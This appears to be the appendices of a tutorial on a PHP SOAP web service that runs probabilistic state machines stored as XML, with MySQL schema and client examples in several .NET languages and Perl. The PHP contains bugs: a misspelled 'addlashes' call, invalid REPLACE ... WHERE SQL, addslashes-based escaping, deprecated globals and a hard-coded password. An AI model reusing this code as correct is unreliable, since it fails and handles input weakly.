  • Create two database tables to store the current state of the automatas (the second table is for locking purposes only, because MySQL doesn't support writing while in a read lock). The SQL statements to create these tables are (you might need to tweak these a little bit to get them to work if you are using something other than MySQL or a different version of it):
    CREATE TABLE `state_machines`.`state_machines` (
    `machine_name` VARCHAR(255) NOT NULL DEFAULT '',
    `machine_state` VARCHAR(255) NOT NULL DEFAULT '',
    `error_message` VARCHAR(255) NOT NULL DEFAULT '',
    PRIMARY KEY(`machine_name`)
    )
    ENGINE = MEMORY;
    
    CREATE TABLE `state_machines`.`lock_table` (
     `dummy_column` INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,
     PRIMARY KEY(`dummy_column`)
    )
    ENGINE = MEMORY;
    
  • Adjust the connection string accordingly in the DB::connect call
<?php
  require_once 'lib/nusoap.php';
  require_once 'DB.php';
  
  $server = new soap_server();
  $server->configureWSDL('statemachine', 'urn:statemachine');
  
  $data_directory = "C:\\xampp\\htdocs\\webservice\\data\\";  
  $db_connection = DB::connect("mysql://state_machine:password@localhost/state_machines");
  if (DB::isError($db_connection)) 
    stopWithErrorMessage("failed to connect to the database - " . $db_connection->getMessage());
  
  // Register the methods to expose
  $server->register('postMessage',    
      array('stateMachineName' => 'xsd:string', 'message' => 'xsd:string'),
      array('return' => 'xsd:string'),
      'urn:statemachine',             
      'urn:statemachine#postMessage', 
      'rpc',                          
      'encoded',                      
      'send a message to a given state machine. returns the new state'      
  );
  $server->register('getMachineState',    
      array('stateMachineName' => 'xsd:string'),
      array('return' => 'xsd:string'),
      'urn:statemachine',             
      'urn:statemachine#getMachineState', 
      'rpc',                          
      'encoded',                      
      'returns the current state of the automaton'      
  );
  $server->register('getErrorMessage',    
      array('stateMachineName' => 'xsd:string'),
      array('return' => 'xsd:string'),
      'urn:statemachine',             
      'urn:statemachine#getErrorMessage', 
      'rpc',                          
      'encoded',                      
      'returns the error message for a given state machine ("" if no error exists)'      
  );  
  $server->register('resetMachineState',    
      array('stateMachineName' => 'xsd:string'),
      array(),
      'urn:statemachine',             
      'urn:statemachine#resetMachineState', 
      'rpc',                          
      'encoded',                      
      'resets the given state machine'      
  );  
  $server->register('resetAllMachines',    
      array(),
      array(),
      'urn:statemachine',             
      'urn:statemachine#resetMachineState', 
      'rpc',                          
      'encoded',                      
      'resets all the state machines'      
  );    

  $server->service($HTTP_RAW_POST_DATA);

  //send a message to a given state machine. returns the new state
  function postMessage($stateMachineName, $message) {
    if (!preg_match('/^[\w\-\s]+$/', $stateMachineName)) 
      stopWithErrorMessage('state machine name contains illegal characters');
    global $data_directory;
    if (!is_file($data_directory . $stateMachineName . ".xml")) 
      stopWithErrorMessage('specified state machine does not exists');
      
    //load up the state machine
    $stateMachine = loadStateMachineFromFile($data_directory . $stateMachineName . ".xml");
    global $db_connection;
    //from now on we need to be synchronized with other threads - lock the database table
    $db_connection->query('LOCK TABLE lock_table WRITE');
    //synchronize it with the database
    $stateMachine = synchronizeStateMachine($stateMachine, $stateMachineName);
    //now post the message to the state machine
    $stateMachine = postMessageWhilePossible($stateMachine, $message);
    if (is_string($stateMachine)) {
      //an error has occured! store the error message and return the empty string
      $db_connection->query('REPLACE INTO state_machines (machine_state, error_message) VALUES ("", "' . addslashes($stateMachine['currentState']) . 
        '") WHERE machine_name="' . addlashes($stateMachineName) . '"');
      $db_connection->query('UNLOCK TABLES');
      return '';
    } else {
      //everything went ok, store the new state and return it
      $db_connection->query('REPLACE INTO state_machines (machine_state, error_message) VALUES ("' . addslashes($stateMachine['currentState']) . 
        '", "") WHERE machine_name="' . addslashes($stateMachineName) . '"');
      $db_connection->query('UNLOCK TABLES');
      return $stateMachine['currentState'];
    }     
  }
  
  //returns the current state of the automaton
  function getMachineState($stateMachineName) {
    if (!preg_match('/^[\w\-\s]+$/', $stateMachineName)) 
      stopWithErrorMessage('state machine name contains illegal characters');
    global $data_directory;
    if (!is_file($data_directory . $stateMachineName . ".xml")) 
      stopWithErrorMessage('specified state machine does not exists');
      
    //load up the state machine
    $stateMachine = loadStateMachineFromFile($data_directory . $stateMachineName . ".xml");
    //synchronize it with the database
    $stateMachine = synchronizeStateMachine($stateMachine, $stateMachineName);
    //return the current state
    return $stateMachine['currentState'];
  }
  
  //returns the error message for a given state machine ('' if no error exists)
  function getErrorMessage($stateMachineName) {
    if (!preg_match('/^[\w\-\s]+$/', $stateMachineName)) 
      stopWithErrorMessage('state machine name contains illegal characters');
    global $db_connection;
    return $db_connection->getOne("SELECT error_message FROM state_machines WHERE machine_name=\"" . addslashes($stateMachineName) . "\"");
  }
  
  //resets the given state machine
  function resetMachineState($stateMachineName) {
    if (!preg_match('/^[\w\-\s]+$/', $stateMachineName)) 
      stopWithErrorMessage('state machine name contains illegal characters');
    global $db_connection;
    $db_connection->query('DELETE FROM state_machines WHERE machine_name="' . addslashes($stateMachineName) . '"');
  }
  
  //resets all the state machines
  function resetAllMachines() {
    global $db_connection;
    $db_connection->query('DELETE FROM state_machines');
  }
  
  //internal helper function which outputs the error message to the header and then exits
  function stopWithErrorMessage($error_message) {
    header("HTTP/1.1 500 Internal Server Error: " . $error_message, true, 500);
    exit;     
  }
  
  //internal helper function - synchronizes the state of a an automaton with the one stored in the databas
  //(if it's stored there)
  function synchronizeStateMachine($state_machine, $stateMachineName) {
    global $db_connection;
    $machine_state = $db_connection->getRow("SELECT * FROM state_machines WHERE machine_name=\"" . addslashes($stateMachineName) . "\"");
    if (is_array($machine_state)) {
      //it is present in the database, try to synchronize with it
      if ( ('' == $machine_state['machine_state']) || array_key_exists($machine_state['machine_state'], $state_machine['states'])) {
        $state_machine['currentState'] = $machine_state['machine_state'];
        return $state_machine;
      } else {
        stopWithErrorMessage("Erroneous state in the database: " . $machine_state['machine_state']);        
        exit;
      }
    }
    //it's not present in the database, leave it as it is
    return $state_machine;
  }
  
  //internal helper function. Checks if the given node has the specified attribute
  //if not, returns null, if it does, it returns it
  function getAttributeOrNull($node, $attr_name) {
    if ($node->hasAttribute($attr_name))
      return $node->getAttribute($attr_name);
    return null;      
  }
  
  //internal helper function. Extract and validate the action elements from
  //a node (message or state). Return an array structure on success,
  //an error messag (string) on failure
  function extractActions($parent_node, $states_list, $state_name, $message_name) {
    //process the probable actions - make sure that the sum of the probabilities if 1.0
    //when no probaility is specified, the remaining probability is distributed between them
    $error_message_suffix = ('' == $message_name) ? '' : " at message '$message_name'";
    $actions = $parent_node->getElementsByTagName('action');
    $result = array();
    $probability_sum = 0.0; $actions_with_no_probability = 0;
    foreach ($actions as $action) {
      $new_action = array();
      if (null !== ($action_probability = getAttributeOrNull($action, 'probability'))) {
        if ($action_probability <= 0)
          return "Negative probability of action in state '$state_name'$error_message_suffix";
        $probability_sum += 0.0 + $action_probability;
        $new_action['probability'] = 0.0 + $action_probability;
      } else {
        ++$actions_with_no_probability;
      }
      if (null === ($action_wait_before = getAttributeOrNull($action, 'waitBefore'))) {
        $new_action['waitBefore'] = 0;
      } else {
        if ($action_wait_before < 0)
          return "Negative 'waitBefore' of action in state '$state_name'$error_message_suffix";
        $new_action['waitBefore'] = intval($action_wait_before);
      }
      if (null === ($action_wait_after = getAttributeOrNull($action, 'waitAfter'))) {
        $new_action['waitAfter'] = 0;
      } else {
        if ($action_wait_after < 0)
          return "Negative 'waitAfter' of action in state '$state_name'$error_message_suffix";
        $new_action['waitAfter'] = intval($action_wait_after);
      }     
      if (null === ($action_next_state = getAttributeOrNull($action, 'nextState')))
        return "Unspecified nextState in state '$state_name'$error_message_suffix";
      if (!array_key_exists($action_next_state, $states_list))
        return "Invalid nextState specified in action at state '$state_name'$error_message_suffix: '$action_next_state'";
      $new_action['nextState'] = $action_next_state;
                  
      $result[] = $new_action;
    }
    //now redistribute the remaining probability :)
    if ($actions_with_no_probability > 0) {
      foreach (array_keys($result) as $action_key) {
        if (!array_key_exists('probability', $result[$action_key])) {
          $result[$action_key]['probability'] = (1.0 - $probability_sum) / $actions_with_no_probability;
        }
      }
    }
    //finally sum up the probability and check it (must be 1.0)
    $probability_sum = 0.0;
    foreach ($result as $action)
      $probability_sum += $action['probability'];
    if (abs(1.0 - $probability_sum) > 0.001)
      return "The sum of probabilities for state '$state_name'$error_message_suffix is way off from 1.0"; 
    
    return $result;
  }

  //returns a structure which completly describes the state machine
  //returns a string with an error message if the XML failed to follow
  //the rules
  function loadStateMachine($state_machine_xml) {
    $doc = new DOMDocument();
    $doc->loadXML($state_machine_xml);    
    
    //this will be the result is all goes well
    $result = array();
    
    //find all the valid message
    $xpath = new DOMXPath($doc);
    $valid_messages = array();
    foreach ($xpath->query('//stateMachine/messages/message') as $valid_message) {
      if (null === getAttributeOrNull($valid_message, 'name'))
        return "Found message element which doesn't have the 'name' attribute!";
      $valid_messages[getAttributeOrNull($valid_message, 'name')] = 1;
    } 
    if (0 >= count($valid_messages))
      return 'No valid message names found!';   
          
    //now parse states
    $result['states'] = array();
    $states = $doc->getElementsByTagName('state');
    if (0 >= $states->length)
      return 'No state elements found!';
    
    //first store the state names so that we can validate them later on
    foreach ($states as $state) {
      if (null === ($state_name = getAttributeOrNull($state, 'name')))
        return 'Found state with no name!';
      if (array_key_exists($state_name, $result['states']))
        return "Found state with duplicate name: '$state_name'";
      $result['states'][$state_name] = array();
    }
    
    foreach ($states as $state) {
      //validate the basic parameters for the state
      $state_name = getAttributeOrNull($state, 'name');
      if (null === ($state_type = getAttributeOrNull($state, 'type')))
        return 'Found state with no type!';
      if ( ('message' != $state_type) && ('auto' != $state_type) )
        return "Found state with invalid type: '$state_type'";
        
      //save the validated stuff
      $result['states'][$state_name]['type'] = $state_type;
      
      //process the available state transitions
      if ('message' == $state_type) {
        $messages = $state->getElementsByTagName('message');
        $result['states'][$state_name]['messages'] = array();
        foreach ($messages as $message) {
          //message name: - it should exists, - it should be valid and - it shouldn't be used before (in this state)
          if (null === ($message_name = getAttributeOrNull($message, 'name')))
            return "Found message with no name in state '$state_name'";
          if (!array_key_exists($message_name, $valid_messages))
            return "Found invalid message name '$message_name' in state '$state_name'";
          if (array_key_exists($message_name, $result['states'][$state_name]['messages']))          
            return "Found duplicate message name '$message_name' in state '$state_name'";
          $result['states'][$state_name]['messages'][$message_name] = array();
          
          $result['states'][$state_name]['messages'][$message_name]['actions'] = 
            extractActions($message, $result['states'], $state_name, $message_name);
          if (is_string($result['states'][$state_name]['messages'][$message_name]['actions']))
            //an error has occured
            return $result['states'][$state_name]['messages'][$message_name]['actions'];
        }       
      } else {
        //load the actions we can chose from
        $result['states'][$state_name]['actions'] = 
          extractActions($state, $result['states'], $state_name, '');
        if (is_string($result['states'][$state_name]['actions']))
          //an error has occurred
          return $result['states'][$state_name]['actions'];
      }
    }
      
    //get the starting state and make sure that it's a valid state
    if (null === ($initial_state = getAttributeOrNull($doc->documentElement, 'initialState')))
      return 'Document has no initial state!';      
    if (!array_key_exists($initial_state, $result['states']))
      return 'Initial state is invalid!';   
    $result['currentState'] = $initial_state;   
    
    return $result;
  }
  
  function loadStateMachineFromFile($file_machine) {
    $xml_file_contents = file_get_contents($file_machine);
    if (get_magic_quotes_gpc()) $xml_file_contents = stripslashes($xml_file_contents);
    return loadStateMachine($xml_file_contents);
  }
  
  //applies a given message to a given state machine. it executes the specified waits
  //returns the modified state machine. If an error occured, the currentState will be set to ''
  function internalPostMessage($state_machine, $message = '') {
    //print "Applying message: '$message'\n";
    //print "Current state: $state_machine[currentState]\n";
    
    //we are in an invalid state - we can't do anything
    if (!array_key_exists($state_machine['currentState'], $state_machine['states']))
      return $state_machine;
        
    if ('message' == $state_machine['states'][$state_machine['currentState']]['type']) {
      if (!array_key_exists($message, $state_machine['states'][$state_machine['currentState']]['messages'])) {
        //this message can not be applied now
        $state_machine['currentState'] = '';
        return $state_machine;
      }
      $actions = $state_machine['states'][$state_machine['currentState']]['messages'][$message]['actions'];
    } else {
      $actions = $state_machine['states'][$state_machine['currentState']]['actions'];
    }
        
    //now chose an action, by "throwing a dice"
    $rand_value = rand(0, 32768) / 32768;
    $action_to_execute = null;
    foreach ($actions as $action) {
      $action_to_execute = $action;
      if ($rand_value <= $action['probability'])        
        break;      
      $rand_value -= $action['probability'];
    }   
    
    //print "Going to state $action[nextState]\n";
    //now execute the action        
    sleep(intval($action['waitBefore'] / 1000 + 0.5));
    $state_machine['currentState'] = $action['nextState'];    
    sleep(intval($action['waitAfter'] / 1000 + 0.5));
    //print "Gone to state $action[nextState]\n";   
    
    return $state_machine;
  }
  
  //the same as above, however it continues while possible after the first move
  //(while the current state is an automatic one)
  function postMessageWhilePossible($state_machine, $message) {
    //process any automatic statest BEFORE
    while ( ('' != $state_machine['currentState']) &&
      ('auto' == $state_machine['states'][$state_machine['currentState']]['type']) ) {
      $state_machine = internalPostMessage($state_machine);
    }
    if ('' != $state_machine['currentState'])
      $state_machine = internalPostMessage($state_machine, $message);
    //process any automatic statest AFTER
    while ( ('' != $state_machine['currentState']) &&
      ('auto' == $state_machine['states'][$state_machine['currentState']]['type']) ) {
      $state_machine = internalPostMessage($state_machine);
    }
    return $state_machine;
  } 
?>

Appendix B - Example state machine file

<stateMachine initialState="Off">
  <messages>
    <message name="Flip" />
  </messages>
  <state name="Off" type="message">
    <message name="Flip">
      <action probability="0.5" nextState="Transient" />
      <action probability="0.5" nextState="Off" />
    </message>
  </state>
  <state name="Transient" type="auto">
    <action probability="0.9" nextState="On" waitBefore="1000" />
    <action probability="0.1" nextState="Off" waitBefore="1000" />  
  </state>
  <state name="On" type="message">
    <message name="Flip">
      <action nextState="Off" />  
    </message>
  </state>
</stateMachine>

Appendix C - Example client program in .NET (C#, VB .NET, Delphi and Managed C++)

Before you can use these examples, you have to add a Web Reference to your project. You can do this by right-clicking on your Reference folder in your Visual Studio and selecting Web Reference. You should put in the link with a ?wsdl appended (to get the WSDL file). For example if you are hosting the service locally, you would put in http://localhost/webservice/index.php?wsdl

C#
private static void Main(string[] args)
{
      Console.WriteLine("Startin up...");
      statemachine statemachine1 = new statemachine();
      Console.WriteLine("Startup done...");
      for (int num1 = 0; num1 < 10; num1++)
      {
            Console.WriteLine("The current state is: " + statemachine1.getMachineState("testAutomata"));
            Console.WriteLine("Passing message: Flip");
            Console.WriteLine("Test automata returned: " + statemachine1.postMessage("testAutomata", "Flip"));
            Console.WriteLine("---");
      }
      Console.WriteLine("Press any key to exit...");
      Console.ReadKey();
}
VB .NET
Private Shared Sub Main(ByVal args As String())
      Console.WriteLine("Startin up...")
      Dim statemachine1 As New statemachine
      Console.WriteLine("Startup done...")
      Dim num1 As Integer = 0
      Do While (num1 < 10)
            Console.WriteLine(("The current state is: " & statemachine1.getMachineState("testAutomata")))
            Console.WriteLine("Passing message: Flip")
            Console.WriteLine(("Test automata returned: " & statemachine1.postMessage("testAutomata", "Flip")))
            Console.WriteLine("---")
            num1 += 1
      Loop
      Console.WriteLine("Press any key to exit...")
      Console.ReadKey
End Sub
Delphi
procedure Program.Main(args: string[]);
begin
      Console.WriteLine('Startin up...');
      statemachine1 := statemachine.Create;
      Console.WriteLine('Startup done...');
      num1 := 0;
      while ((num1 < 10)) do
      begin
            Console.WriteLine(string.Concat('The current state is: ', statemachine1.getMachineState('testAutomata')));
            Console.WriteLine('Passing message: Flip');
            Console.WriteLine(string.Concat('Test automata returned: ', statemachine1.postMessage('testAutomata', 'Flip')));
            Console.WriteLine('---');
            inc(num1)
      end;
      Console.WriteLine('Press any key to exit...');
      Console.ReadKey
end;
Managed C++
private: static void __gc* Main(System::String __gc* args __gc [])
{
      System::Console::WriteLine(S"Startin up...");
      ContactWebservice::stateMachine::statemachine __gc* statemachine1 = __gc new ContactWebservice::stateMachine::statemachine();
      System::Console::WriteLine(S"Startup done...");
      for (System::Int32 __gc* num1 = 0; (num1 < 10); num1++)
      {
            System::Console::WriteLine(System::String::Concat(S"The current state is: ", statemachine1->getMachineState(S"testAutomata")));
            System::Console::WriteLine(S"Passing message: Flip");
            System::Console::WriteLine(System::String::Concat(S"Test automata returned: ", statemachine1->postMessage(S"testAutomata", S"Flip")));
            System::Console::WriteLine(S"---");
      }
      System::Console::WriteLine(S"Press any key to exit...");
      System::Console::ReadKey();
}

Appendix D - Example client written in Perl

use warnings;
use diagnostics;
use SOAP::Lite +trace => 'all';

print ">>" . SOAP::Lite
  -> uri('http://www.soaplite.com/Demo')
  -> proxy('http://localhost/webservice/index.php')
  -> getMachineState("testAutomata")
  -> result;